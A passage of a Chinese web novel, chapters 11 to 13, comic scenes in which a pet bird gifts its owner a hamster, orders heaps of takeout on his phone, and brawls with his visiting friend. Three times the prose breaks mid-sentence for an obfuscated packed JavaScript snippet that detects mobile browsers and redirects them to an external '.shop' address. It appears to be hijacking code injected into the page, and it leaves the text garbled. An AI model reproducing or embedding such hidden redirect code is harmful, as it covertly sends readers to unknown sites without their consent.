他等啊等,终于门外传来钥匙转动开门的声音。 江与停耳朵一动,立刻兴奋地扇动翅膀,直接朝着门口的方向飞了过去。 “啾啾。” 【你回来了,裴一舟。】 他飞得又快又急,还真像是一只迫不及待迎接主人回家的真正宠物。 裴一舟刚进门,他刚把钥匙随手扔在台子上,低头弯腰换鞋,就看到一团小小的影子朝自己扑过来,稳稳地落在自己的肩膀上。 柔软的羽毛贴着脖颈,轻轻痒痒的,小嘴巴也不知道在说什么一直叽叽喳喳的叫着。 裴一舟嘴角几不可查地弯了一下,那一抹笑意极淡,极浅,快得让人抓不住。 可下一秒,他的目光落在了客厅的桌子上,那一眼直接就惊到了。 只见上面,大咧咧地摆着一只小小的、圆滚滚的、毛茸茸的仓鼠。 仓鼠窝在桌子上瑟瑟发抖,并且身上还绑着一个夸张的大红花。 11. 鸟点外卖 裴一舟面无表情地走到桌子前,目光落在桌上那团瑟瑟发抖的小白毛球上。 屋外的阳光正好照在桌子上,那一小团白色的毛球缩在桌角,几乎要融进阴影里,只露出一双黑溜溜、圆滚滚的小眼睛,正惊恐地望着他。 但是身上的那个大红花又格外的亮眼,让人想忽视都忽视不掉。 这画面实在太过诡异,太过突兀,以至于他站在原地愣了好几秒,都怀疑自己是不是又产生幻觉了。 他抬手摸了摸那只看着马上就要被吓死的小仓鼠,令他意外的是手底下的触感很是真实,只是他不知道这只仓鼠是从哪里来的,还装扮的如此的诡异。 “这是什么?” 他也不知道在问谁,自己就那么脱口而出。 江与停歪了歪头,不太懂人类这种平淡的表情是什么意思,他不是应该会很开心的吗。 他以为裴一舟没看明白,于是从他的身上飞了下去,然后抬起小翅膀,指了指自己又抬起脚轻轻踢了踢桌子上那只缩成一团的小仓鼠。 小仓鼠被踢得晃了一下,可怜兮兮地发出一声细弱的吱吱声。 “吱吱” 【救命啊,有没有人救救鼠啊。】 裴一舟看着面前这俩小东西活像自己病的不轻,眼前都出现情景喜剧了。 这不是那个动画片猫和老鼠,这是鸟和老鼠。 对比小仓鼠的可怜无助,再看看那只鸟,威风的一脚踩在鼠的身上,张开着翅膀,但是脑袋还趁机蹭了蹭裴一舟的胳膊。 “啾啾。” 【人,你看,送你的礼物。】 小仓鼠都快吓哭了,缩在那儿一动不敢动,圆溜溜的眼睛里全是委屈。 他后悔,不该贪那一口吃的。 【爸爸妈妈,鼠鼠我不回家吃饭了。】 这诡异的场景江与停完全没察觉,他还在纳闷要是他收到这么可爱的小礼物,早就开心得不行了,怎么眼前这个人一点表情都没有。 是不喜欢吗?人怎么这么难伺候。 裴一舟看着他那动作,他不是不理解,实在是他理解不了。 这只鸟的意思是说,这只小仓鼠是他送给自己的。 这对吗,这太有点太匪夷所思了一些。 江与停看他没有动静以为他还是没有明白,于是站在那里深深的叹了一口气。 跟人沟通实在是太难了,鸟都累了。 江与停一不做二不休,伸抓,抬腿,仍。 这套动作一气呵成,准确无误的扔到了裴一舟手心里。 这要数个普通人估计也就跟着吓飞了。 小仓鼠本来就吓得半晕,经过这么一抛、一落、细小的身体承受了它这个年纪不该承受的惊吓,只听见一声细不可闻的“吱”,随后身子一软,眼睛一闭,嘎巴一声,彻底晕了过去。 裴一舟看着自己手心里出现的那个异物,那小仓鼠软乎乎一团,在他微凉的掌心里还轻轻颤了颤,然后就彻底没有动静了。 这下他也算是明白了,只是还是很难相信。 “送给我的?” 江与停觉得自己都快感动的哭了,他终于知道他是什么意思了。 他绕着裴一舟的周围飞了一圈然后落回到了他的肩膀上。 “啾啾。 【对对对,你喜欢吗?这是我挑了好久的礼物。】 裴一舟沉默了几秒,猜测着他话里的意思。 “你问我喜不喜欢?” 江与停眼睛瞬间又亮了,忙不迭点头,声音又脆又认真。 “啾啾!” 【是的,是的,你快说是不是很喜欢。】 他站在他的肩头上,仰着下巴,尾巴都不自觉翘了起来,活像一只高傲又得意的大公鸡,仿佛送出去的是什么稀世珍宝,等着眼前的人夸奖他。 裴一舟嘴角几不可查地抽了抽,他收到过很多很多的礼物,但是送这个的还真的是人生第一次,还是被一只小鸟送,更是从来都没有过的经历。 只是看着他那小模样,拒绝的话怎么也没有说出去。 他轻轻拢了拢掌心的小仓鼠,声音放得很轻,带着一丝自己都没察觉的温柔: “……我很喜欢,谢谢你。” 江与停瞬间开心的又飞了好几圈,头顶上的呆毛一会儿起来一会儿落下,看起来是格外的兴奋。 “啾啾。” 【我就知道你会喜欢的!啦啦啦!】 裴一舟忽略掉他疯了一般的举动,毕竟大家都说它这个品种本来就会很疯。 好像有了他之后他好像就算不戴助听器也会感觉屋里很忙。 他低头看了看掌心里依旧晕着的小仓鼠,轻轻叹了口气,伸手把它身上那朵歪歪扭扭的大红花取了下来,又转身找了一个透气的小盒子,小心翼翼地把仓鼠放进去,让它安安稳稳地缓一缓,免得醒来之后又被吓得半死。 折腾了这么一大通,江与停都有些饿了,他怕裴一舟不理解他的意思,理直气壮的飞到了一旁拿起自己的专属小碗框框的砸了砸桌子。 “啾啾。” 【人,你吃饭了吗?我饿了。】 裴一舟这才猛然想起,自己虽然一直都有在笼子里给它放满上好的鸟粮,可这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288241|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只鸟从来都没有碰过一口,只喜欢跟着他一起吃人吃的东西。 他看着这只鸟一本正经敲碗的滑稽动作,一向没什么表情的脸上,也难得浮现出一丝哭笑不得。 “没吃东西吗?” “啾啾。” 【没吃。】 要说没吃东西,那倒也不是。 他下午的时候,实在饿得不行,偷偷啃过一口外面买来的包子,结果刚咬进嘴里,就一脸嫌弃地吐了出来。 太难吃了,干巴巴,没味道,和家里吃的东西完全比不了。 他的胃好像被养坏了,外面那些再香再热闹的吃食,入了口,都觉得平平无奇。 反而裴一舟家里那些清淡、简单、甚至在别人眼里有些难吃的饭菜,他却吃得格外香。 不过……他乐意。 裴一舟拿出手机,点亮屏幕,准备点饭。 江与停立刻停止敲碗,好奇地凑了过来,小脑袋歪歪扭扭地盯着那片发光的屏幕。 他不认识字,密密麻麻的文字在他眼里就是一堆看不懂的符号。 可是他认识图片啊,那些菜色泽诱人,香气仿佛要从屏幕里溢出来了,裴一舟一张接着一张滑过,看得他眼睛都直了,肚子也更饿了。 裴一舟的手指在屏幕上快速点了几下,然后便起身去了卫生间,手机便随手放在了桌边,没有锁屏,界面还停留在点餐页面。 门一关上,江与停刚想走,但是又看了看桌上亮着的手机,小小的鸟心蠢蠢欲动。 他虽然不懂人类的复杂操作,可是他刚刚看到了,只要在这些图片上按一按,对方就会把好吃的送过来。 上次裴一舟就是这么做的。 那他……也可以。 江与停小心翼翼地飞到手机旁边,稳稳站住,深吸一口气,抬起自己小小的爪子,认认真真、啪嗒一下按在了一张看起来最好吃的图片上。 没反应? 那就再按一下。 他越按越起劲,越按越开心,原来这么简单的嘛他也会啊。 红烧肉、糖醋排骨、炸鸡、蛋糕、奶茶、小甜点、水果捞…… 凡是看着好看、颜色鲜亮、让他觉得“这个一定好吃”的图片,他全都挨个按了一遍。 按完之后,他心满意足地收起爪子,昂首挺胸地站在手机旁边,仿佛刚刚完成了一件惊天动地的大事。 【搞定!等一下就有好多好多好吃的了!】 他美滋滋地等着,丝毫不知道自己刚刚闯了一个小小的祸。 半个小时后,裴一舟看着桌子上放都放不下的东西陷入了沉思。 12. 鸟也能干活 裴一舟万万没有想到自己不过是离开客厅去了一趟洗手间,不过短短几分钟的功夫,这只鸟就能干出这样的事情。 他沉默地站在原地几秒,最终还是有些不自信地抬手拿起了被随手放在沙发上的手机。 屏幕一亮,聊天界面毫无保留地展现在他眼前。 先是一长串杂乱无章的图片,花花绿绿,看得人眼花缭乱。 再往下划,一排画风清奇表情夸张到有些离谱的表情包赫然排在末尾,各式各样的小鸟图片,每一个都透着一股理不直气也壮的调皮劲儿。 裴一舟盯着那些表情包,安安静静地看了足足好几秒。 不需要推理,不需要排查,真相瞬间摆在眼前。 他缓缓侧过头,目光精准而平静地落在了不远处的小鸟身上。 整个屋子里除了他之外就只有这一只鸟。 唯一一个会偷偷摸点他的手机,乱点屏幕,乱发图片,还发一堆奇奇怪怪表情包的只有那只鸟。 经过这几天的朝夕相处,裴一舟发现自己的接受底线正在被这只鸟以一种匪夷所思的速度不断刷新。 从前那个冷静自持做事一丝不苟,凡事讲究条理规矩的妖管局执行官,如今面对这只鸟,居然已经修炼到了一种不管它干出什么离谱的事情,他都不会觉得意外的境界。 哪怕它现在突然开口说话,裴一舟觉得自己大概都能面不改色地接下去。 毕竟他是只鸟会说话也正常。 而此刻的罪魁祸鸟完全没有觉得自己闯祸了,他正被眼前多出来的一堆美食团团包围,幸福感几乎要从小小的身体里满溢出来,整只鸟都轻飘飘的,像是下一秒就要快乐到飞上天。 头顶那撮标志性的呆毛高高竖了起来,精神得不行,一双圆溜溜的眼睛亮得惊人,毫不掩饰地在各式各样的甜品、零食、饮料之间来回打转,满眼都是我好厉害的光芒。 看着满桌子琳琅满目的好吃的,江与停彻底陷入了幸福的选择困难,这么多好东西,他都不知道要先从哪一个下手才好。 他一会儿扑到左边,对着一块奶油蛋糕啄两下包装,一会儿又飞到右边,踮着脚尖扒拉一盒酥脆的小饼干,一会儿又被颜色漂亮的饮料吸引,凑过去闻一闻,看起来忙得脚不沾地不亦乐乎,小短腿在桌面上踩来踩去,翅膀时不时轻轻扑腾一下维持平衡,可折腾了好半天,愣是一口都没真正吃进嘴里。 裴一舟靠在沙发边安安静静看着他上蹿下跳,忙而不乱却又啥也没吃到的样子,无奈地轻轻叹了一口气。 他发现自己对这只鸟是真的一点脾气都没有了。 不管它闯什么祸,搞什么小动作,只要一看到这副又傻又可爱的模样心里那点微末的火气瞬间就烟消云散。 他刚准备开口提醒一句,门外忽然传来一阵不轻不重却格外清晰的敲门声。 “咚——咚——咚——” 裴一舟愣了一下。 今天这个门响的次数简直要超过他过去一整个月的总和。 他住的地方一向安静,平日里除了固定负责饮食的人几乎不会有外人上门,更别说这种接二连三的敲门声,来得既突兀又奇怪。 他压下心里那点疑惑起身走过去,任何轻轻拉开门。 门外站着一个气喘吁吁的外卖小哥,他额角挂着一层薄薄的细汗,呼吸还有些急促,显然是一路赶过来的。 他手里小心翼翼地拎着一个鼓鼓囊囊的塑料袋,袋子里花花绿绿的饮料瓶,那些包装盒挤在一起,看得人眼花。 见到裴一舟开门,小哥连忙喘着气道:“先生,您的外卖到了,请问您这是在家里聚餐吗?一下子点了这么多东西。” 裴一舟瞬间沉默下来。 他不喜欢和别人一起住,更不喜欢热闹,饮食起居一向有专门的人负责,那些人就在不远处的地方待命,按时按点,一日三餐安安稳稳送过来,清淡规律,从不出错。 而眼前这位外卖小哥是长期负责给他送一些临时东西的人,对他饮食的习惯一清二楚。 对方会好奇会惊讶实在太正常不过。 只是裴一舟向来不喜欢向别人解释自己的私事,更不会把一只鸟偷偷点外卖这种离谱的事情说出去。 所以他只是淡淡点了点头没有多做解释。 他看着那一大包沉甸甸五花八门的东西,太阳穴控制不住地轻轻跳了跳。 他抬手按了按自己的额头,压下那一丝哭笑不得的情绪,伸手接了过来。 “给我吧,辛苦你了。” “不辛苦不辛苦。” 小哥连忙摆手,又忍不住多看了一眼那一堆外卖,眼神里的好奇几乎藏不住。 裴一舟轻关上房门。 关上门的一瞬间,他顺手给负责饮食的人发了一条消息,告诉对方今天不用再往这边送任何东西了。 再多来几轮恐怕他的专属厨师都要亲自上门,一脸担忧地问他是不是发生了什么事情了。 他拎着那一大包东西走进客厅,然后又放在地上,实在是桌子上已经装不下任何的东西了。 他看着又多出来的一堆零食饮料,裴一舟无奈地抬起眼,目光幽幽地落在那个还在跟饮料较劲的小鸟身上。 而罪魁祸首江与停,显然还完全不知道自己好像闯祸了。 他正兴致勃勃地蹲在一瓶罐装饮料上,两只小爪子扒拉着冰凉的罐子,好奇地研究怎么才能把它打开,玩得不亦乐乎,小脑袋一点一点,专注得不行。 裴一舟轻轻开口,声音微沉,听不出喜怒:“你干的?” 江与停闻声抬起头,一双亮晶晶的眼睛直直对上裴一舟的目光,非但没有半点心虚,反而还把小胸脯抬得高高的,理直气壮地叫了一声: “啾啾。” 【是啊!都是我点的!我是不是超厉害?自己都会用手机点外卖了!我还特意给你点了一份呢,快夸我呀。】 裴一舟虽然一个字都听不懂鸟语,可架不住他现在太懂这只鸟的表情。 那小眼神那小姿态那副昂首挺胸求表扬的模样,明晃晃写着快来表扬我,我超能干的。 不用问,不用猜,肯定是他干的没错。 裴一舟看着他那副理直气壮的样子,原本到了嘴边想要稍微训诫两句的话在舌尖打了个转,又硬生生咽了回去。 算了。 他在心里轻轻叹了口气。 他就是一只鸟,懂什么呢?说不定只是不小心乱点乱按。 这么一想,那点微末的无奈也慢慢变成了无可奈何的纵容。 裴一舟蹲下身,把那些不能久放容易坏的甜品、小吃一一拿出来整齐地摆到桌面上,然后推到江与停面前方便他吃。 剩下那些保质期长一点的零食和饮料则分门别类一一塞进冰箱里,原本空荡荡的冰箱被这只鸟一夜之间塞得满满当当。 他收拾完轻轻揉了揉江与停的小脑袋,声音很轻,带着无奈的温柔:“吃吧,下次别乱碰手机了。” 江与停歪了歪头,眨了眨眼,又叫了一声: “啾啾。” 【那你不吃吗?你也一起吃啊。】 裴一舟看着他的眼神,大致猜测到了他话里的意思。 “我不吃,你吃吧。” 江与停似懂非懂地点了点头,也不再勉强,立刻兴高采烈地扑进了自己的大餐堆里去。 裴一舟收拾完手边的东西,转身坐回沙发上。 屋子里安安静静,只有小鸟啄食包装,偶尔扑腾翅膀的细微声响。 他拿起手机,指尖无意识地在屏幕上轻轻划拉着,脑子里一片空白,也不知道自己究竟在想什么。 鬼使神差一般,他点开和赵铭的聊天框,敲下一行字,发了过去。 “你家的猫,会给你买礼物,还会点外卖吗?” 消息发出去的下一秒,裴一舟自己都愣了一下。 他到底在问什么奇怪的问题。 赵铭几乎是秒回,语气里充满了震惊和不可思议,像是听到了什么天方夜谭。 “什么?我家猫主子我给它买礼物,它肯赏脸玩一会儿就不错了,还给我买礼物?怎么可能!还点外卖,它那个小傻脑子能学会自己吃饭不打翻碗,我就谢天谢地了!” 发完这一句,赵铭像是忽然反应过来什么,迅速又跟了一条,后面跟着一连串问号,足以说明对方的震惊程度。 “怎么了?为什么突然问这个?不会是……你家鹦鹉真的给你送礼物了吧???” “少爷,我跟你说认真的,我其实一直怀疑,你真的有在养鹦鹉吗?是那种真实活着,可以摸到的鸟,不是你压力太大,凭空臆想出来的吧?” “我跟你说,这后果很严重的……” 裴一舟看着手机屏幕上一连串噼里啪啦弹出来的消息,沉默了两秒。 下一秒,他面无表情地“啪嗒”一声,把手机扔回了沙发上。 他觉得自己一定是最近跟这只鸟待在一起太久,待傻了,否则怎么会问出这么莫名其妙连自己都觉得离谱的问题。 他转头不再去看手机,目光自然而然地落向了餐桌的方向。 桌子上,那只小鸟正吃得不亦乐乎。 一会儿啄一口香甜软糯的甜品,一会儿叼一口清爽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288242|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的饮料,一会儿又抱着一小块鸡爪啃得津津有味,小嘴巴不停动着,头顶呆毛一翘一翘的,整只鸟都沉浸在美食的快乐里,忙得不亦乐乎。 裴一舟的目光就那样安安静静地落在他身上,柔和得连自己都没有察觉。 好像从那只鸟闯进来之后,他的生活变的忙碌了不少。 江与停吃得兴起,随手打开一瓶颜色漂亮的饮料,叼着吸管喝了一口。 只是下一秒,他整只鸟都嫌弃地皱起了脸,飞快地摇了摇头,把吸管吐了出来。 “啾啾。” 【这个不好喝!什么怪味道,太难喝了!】 他毫不犹豫地抛弃了这一瓶,利索地换到旁边另一瓶看起来颜值更高的饮料,这一次,他小心翼翼地啄了一小口。 立刻一道清甜的果香就在嘴里散开,甜度刚好,清爽不腻。 江与停眼睛“唰”地一下亮了,头顶的呆毛也不由自主地竖得更高。 他果断抱住饮料瓶,舒服地眯起眼睛,小口小口喝了起来,满足得不行。 “啾啾。” 【好喝!这个超好喝!】 裴一舟在一旁默默看着,心里轻轻评价。 还挺挑食。 不过……他好像很喜欢喝甜的果汁,喜欢吃甜的东西。 这个小小的发现,他悄无声息地记在了心里。 江与停的注意力并没有在一种饮料上停留太久,他的目光很快又被桌上那一排花花绿绿,闪着好看光泽的罐装饮料吸引。 五颜六色的罐子摆在灯光下看起来格外诱人,他一眼就看中了其中一罐颜色亮眼看起来最漂亮的一瓶。 江与停眼睛一亮,兴冲冲地扑了过去,两只小爪子在罐身上用力一抓。 只不过他完全没控制好自己的力气,忘记了自己爪子的威力。 只听嘭的一声轻响,易拉罐的封口被他硬生生抓得炸开。 本就被他扑腾摇晃过的碳酸饮料,里面充满了气体,被这么暴力一弄,汽水混着白色的泡沫瞬间喷涌而出,哗啦一下溅得到处都是。 而那只小小的罐子更是被气体猛地一冲,咻地一下,直接飞到了半空中,紧接着,哐当一声巨响,罐子重重砸在天花板上,又反弹落地,滚出去老远。 整个过程发生在一瞬间。 江与停当场僵在原地,整只鸟彻底石化。 他一脸懵逼地看看不远处滚落在地的罐子,又抬头看看溅得到处都是的泡沫,最后怯生生地抬头看向裴一舟,小小的身子因为惊吓和错愕,微微僵住,连翅膀都忘了收。 “啾……啾啾……” 【救命啊!这里面有暗器!它炸我!有人要暗害我。】 裴一舟看着他浑身沾着白色泡沫一脸惊魂未定的样子,再也绷不住脸上的平静,一道低低的笑声从喉咙里漫出来,带着几分无奈的宠溺。 江与停被那一声巨响吓得不轻,听到裴一舟的笑声像是找到了主心骨,立刻扑扇着翅膀飞了过去,然后嗖地一下飞到了裴一舟身上,小爪子紧紧抓住他的衣襟,小小的身体因为受到惊吓还在不安地轻轻抖动。 “啾啾……” 【这、这是谁要暗害我,坏东西。】 裴一舟抬手轻轻摸了摸他毛茸茸的小脑袋,一下一下温柔地安抚着他。 “没事,不怕。” 他声音放得很轻,“这就是普通的饮料,里面有气,晃得太厉害,所以才会炸开。” 江与停似懂非懂,虽然不完全明白什么叫有气,但能清晰听出裴一舟语气里的安抚。 他乖乖缩在裴一舟怀里,蹭了蹭他的手指,惊魂未定。 但很快他就后知后觉地意识到他好像又闯祸了。 好好的屋子被他弄得满地狼藉,泡沫水渍到处都是。 裴一舟看着眼前一片混乱的客厅,无奈地摇了摇头。 靠这只鸟帮忙收拾显然是不可能的。 他认命地拿过拖把自己动手清理地面。 裴一舟在前面弯腰拖地,江与停就蹲在旁边安安静静看着。 看着裴一舟忙碌的背影,他总觉得自己干看着不太好,显得特别不懂事。 这只鸟极其有眼力见,立刻扑扇着翅膀飞到卫生间,用小嘴巴叼起一块小小的抹布,然后亦步亦趋地跟在裴一舟身后,有样学样地在地上蹭来蹭去,努力帮忙打扫。 他学得有模有样,小身子一颠一颠,看起来认真又努力。 裴一舟无意间一回头,看到这一幕,差点笑出声。 只不果如果这只鸟嘴里叼着的抹布,不是他平时用来擦脸的毛巾,那就更完美了。 13. 鸟也喜欢钻石 裴一舟停了下来,目光落在客厅地板上那道还没干透的水痕上,然后视线最终定格在江与停爪子里攥着的那块抹布上。 那原本是他日常擦脸的毛巾柔软亲肤,他用了有些日子了,可现在,这块毛巾被一只小小的鸟爪死死勾着,那只鸟毛乎乎的身子绷得笔直,翅膀微微张开保持平衡,一下一下卖力地在地板上蹭着,活像个被临时抓来干活的童工。 裴一舟沉默地看着。 算了。 鸟这种生物,大概也分不清什么擦脸毛巾,擦地抹布。 它只是闯了祸慌慌张张地想要弥补,那副笨拙又认真的小模样落在眼里竟奇异地不让人烦躁,反倒有几分说不出的可爱。 他原本还想开口说两句,可看着江与停那副生怕被骂拼命表现的样子,话到了嘴边又轻轻咽了回去。 地还没擦完,外面忽然传来一阵不轻不重的敲门声。 “咚、咚、咚。” 节奏不算礼貌,甚至带着点微微试探的意思。 裴一舟眉梢微不可察地蹙了一下,今天他这门还真是格外热闹。 他走过去拉开门,门外站着的不是别人,正是跟他刚分开不就的赵铭。 “你来干什么?” 赵铭一见门开,眼睛立刻亮了,可那点光亮很快又变成鬼鬼祟祟的试探。 他的视线越过裴一舟的肩膀拼命往屋子里瞟,来回扫了好几圈,那模样活像来抓什么惊天秘密。 他总不能直说我是担心你精神状态出问题,特地跑过来看看你到底是不是真在家里养了一只鸟吧? 赵铭脑子飞速运转,嘴巴张了又合合了又张,憋了半天,终于一拍脑门,像是刚想起什么大事一样。 “哦那个,对对对……我想起来了!我不是给了你一张邀请函吗?我琢磨着你要是看上里面什么东西,又没空亲自过去挑,我可以替少爷代劳,保证办得妥妥帖帖。” 裴一舟对这种拙劣的借口连拆穿的兴趣都没有,他一向不喜欢外人进自己的房子,所以他只是淡淡地站在门口,没有丝毫要让开道路的意思,语气平静却带着不容置疑的距离感。 “不用了。” 赵铭一看这架势就知道再不走恐怕就要被直接关在门外了。 他眼珠子一转,立刻捂住肚子身体往下一弯,发出一声夸张又逼真的哀嚎。 “哎呦不行不行——肚子疼,急得很!借一下厕所谢谢谢谢,救命之恩当涌泉相报!” 话音还没完全落下,他就仗着跟裴一舟熟到不能再熟的交情,他总不会一巴掌给他扇出去,所以身子一矮直接从裴一舟身侧挤了进去,动作快得像一阵风。 裴一舟连拦都懒得拦。 不用他说他大概也能猜得出来他是来干什么的。 而赵铭冲进来的第一步原本是直奔厕所方向,可目光随意一扫,整个人当场僵在原地,眼睛瞪得几乎要凸出来。 他清清楚楚地看见在客厅中央,一只灰扑扑毛不算整齐长相实在称不上好看的小鸟,手嘴并用,嘴里正叼着一块明显偏大的抹布,小短腿在地板上踩得飞快,翅膀扑棱扑棱地保持平衡,一副勤勤恳恳奋力干活的模样。 那画面诡异又荒谬,荒谬得让他一瞬间怀疑自己是不是出现了幻觉。 赵铭愣在原地,足足好几秒没回过神。 下一秒,他心里那块悬了半天的石头哐当一声落地。 还好,是真的有一只鸟,不是他臆想出来的,不是裴一舟压力太大精神失常,更不是他自己白天见鬼。 确认完这一点,震惊才真正席卷上来,他猛地转头看向裴一舟,眼神里写满了你还是人吗的谴责。 他赵铭别的爱好没有,对一切毛茸茸的生物都自带一层滤镜,哪怕这只鸟长得实在不怎么样,可是他也是一条可爱的小生命。 他觉得所有毛茸茸都应该被捧在手心里小心呵护,喂好吃的摸软毛哄着宠着,哪有这样被抓来干活的。 他痛心疾首的控诉着。 “裴一舟啊裴一舟,我今天算是看错你了!” 赵铭一副大义凛然的样子,“你就算再冷血,再不近人情,也不能养只宠物回来给你干活啊!你多大,它多大?你忍心吗?” 裴一舟安静地看着他表演,他几乎一瞬间就读懂了赵铭这清奇又跑偏的脑回路。 本来他是懒得解释的,多一事不如少一事,可一想到自己平白无故被扣上一顶虐待小动物的帽子,传出去实在不好听,裴一舟才难得屈尊降贵,开口解释。 他抬了抬下巴,示意赵铭看向餐厅桌上那一片狼藉。 “那些东西它吃的,饮料它弄撒的,你来之前的前一秒,干活的人是我,够清楚了吗?” 赵铭顺着他的目光看过去。 餐桌上摆着几样精致得不像话的点心,还有切好的水果,飘散着香气的饭菜,这一看就知道出自手艺顶尖的人之手。 而这些,是给一只鸟吃的。 赵铭整个人像被瞬间抽走了所有力气一样蔫了下去,眼睛直勾勾地盯着那一桌吃食,心里又酸又涩。 他可是再清楚不过,裴一舟家里这位厨子,可是当年花了大价钱从顶级酒店挖回来的,手艺全国数一数二,外面有钱都吃不到一次。 现在倒好,他跟着裴一舟这么多年,蹭到的次数屈指可数。 而这一只丑鸟,却能堂而皇之地霸占一整桌。 赵铭默默摸了摸自己空荡荡的肚子,看着裴一舟,眼神里写满了真诚的向往。 “那个……少爷,您这儿还缺宠物吗?要不,您考虑考虑养我吧?我也会干活,还不用您操心,怎么样。” 裴一舟连眼神都懒得给他,他抬起手指,面无表情地指向门外。 “出去。” 两个字,冷得像冰。 赵铭立刻缩了缩脖子,不敢再作死,只不过他心里还是有点纳闷。 这少爷是不是品味跑偏了,住这个个房子养这么只鸟。 他好奇地凑过去一点,盯着江与停上下打量。 而江与停也正好抬起头,一双黑亮的小眼睛一眨不眨地回望着他。 刚才赵铭那一通噼里啪啦的话江与停大半都没听懂,可最后几句他听懂了。 这个人还想抢他在这里的位置。 那当然门都没有,这个家里宠物只能有他一个,裴一舟只能宠他一只。 赵铭还浑然不觉自己已经踩了雷区,兀自对着裴一舟发表意见。 “少爷,这真是你养的鸟?你该不会是被外面的鸟贩子骗了吧?这也太丑了,真的,要不你换一只吧,漂亮的小鸟多得是。” 这句话,清清楚楚一字不落地钻进了江与停耳朵里。 他头顶那撮本来翘得好好的呆毛啪嗒一声垂了下去。 下一秒,小小的身体猛地一弹。 “啾啾。” 一声尖锐又充满怒气的鸟鸣炸开。 【你丑!你才丑!全身上下都丑!还想抢我的位置,我打死你!】 江与停整只鸟像一颗小炮弹,直接朝着赵铭冲了过去。 赵铭吓了一跳,下意识抬手去挡。 可这只鸟看着小,脾气却不是一般的凶,翅膀扇得飞快,爪子又尖又利,专挑衣服下手。 一人一鸟就这么在客厅里莫名其妙地打了起来。 裴一舟站在一旁沉默地看着眼前这匪夷所思的一幕。 他是真的没有想到有生之年还能亲眼看见一个大男人跟一只鸟打架。 “你们在干什么。” 他开口,声音不高却带着一股天然的压迫感。 正打得难分难解的一人一鸟,动作同时一顿。 几分钟后,双方彻底分开。 只是那战况一目了然,江与停除了羽毛有点乱,看上去精神抖擞,半点亏没吃。 而赵铭就惨了。 他身上那套刚买不久价格不菲的休闲装,被抓得这里一道口子,那里一个洞,破破烂烂,简直像刚从垃圾堆里捡回来的。 赵铭心疼地捧着自己的衣服,脸都皱成一团。 “你看你家的鸟欺负我!这是我新买的衣服,一万多块啊!不行,裴一舟,你必须赔我!” 他话音刚落。 一声细细软软带着几分委屈撒娇意味的鸟鸣就那么轻轻飘了过来。 众人循声望去。 只见那只刚刚还凶得像小老虎的鸟,此刻正安安稳稳站在裴一舟的肩头,小翅膀委屈地抖着,身体微微蜷缩,看上去可怜极了。 如果这是一个人,那一定是眼眶通红快要哭出来的可怜小模样。 江与停小心翼翼地蹭了蹭裴一舟的颈侧,声音软得一塌糊涂。 “啾啾……” 【裴一舟,好疼啊,他欺负我。】 才怪。 他一点都不疼,就是装的,嘿嘿。 裴一舟垂眸,看着肩头上这只戏精小鸟,指尖轻轻落在它毛茸茸的小脑袋上,顺了顺它乱掉的羽毛。 他看了一眼赵铭,眼里那意思再明显不过。 赵铭简直没眼看眼前这幅偏心偏到姥姥家的场景。 “少爷,你睁大眼睛看看清楚!到底是谁欺负谁啊!我的晴天大老爷,我简直比六月飞雪的窦娥还冤!” 可惜他吼得再大声都没用。 那只鸟依旧紧紧抱着裴一舟的脖子,小身子一抽一抽的,发出细细小小的呜咽声,委屈得不行。 赵铭:“???” 这鸟不去演戏,真的屈才了。 “好了好了,我怕了你了,不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288243|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你赔了行了吧!” 赵铭举手投降,看着自己破烂的衣服欲哭无泪。 “这鸟怎么这么凶啊……” 裴一舟抬手,轻轻安抚了两下肩头上的小鸟,语气平静,把他刚才说的话还给了他。 “它多大一只鸟,怎么可能欺负人。” 赵铭有苦说不出。 “说吧,你到底来干什么。” 裴一舟懒得再跟他耗。 赵铭这才想起自己的初衷,委屈巴巴地扯了扯自己的衣服。 “我这不是担心你吗,过来看看你还活着没有,你活着,我才有工资拿,才有班可上啊,还有啊,咱能不能换个地方住啊,我的车都是停在小区外面走进来的,累死不说一口水都没喝上。” 裴一舟拿起桌上一瓶未开封的饮料,指尖一弹扔了过去。 “活得好好的,暂时死不了。” 赵铭伸手一捞,准确接住,他拧开就灌了一大口。 “那就好那就好。” 他一边喝,一边贼兮兮地瞄向餐桌上那些精致点心,趁着裴一舟不注意,飞快伸手抓了一块塞进嘴里。 味道好极了,不愧是一级大厨。 他暗暗的道:“少爷,这些东西……我能不能带一点回去?” 他话音刚落,裴一舟还没说话,可是他肩膀上的小鸟立刻炸了。 小短腿在裴一舟肩头上蹦来蹦去,翅膀都快扇成小风扇。 “啾啾啾!” 【不可以!都是我的!一口都不准带走!】 赵铭凭着直觉猜测出这鸟的意思,当即不服气。 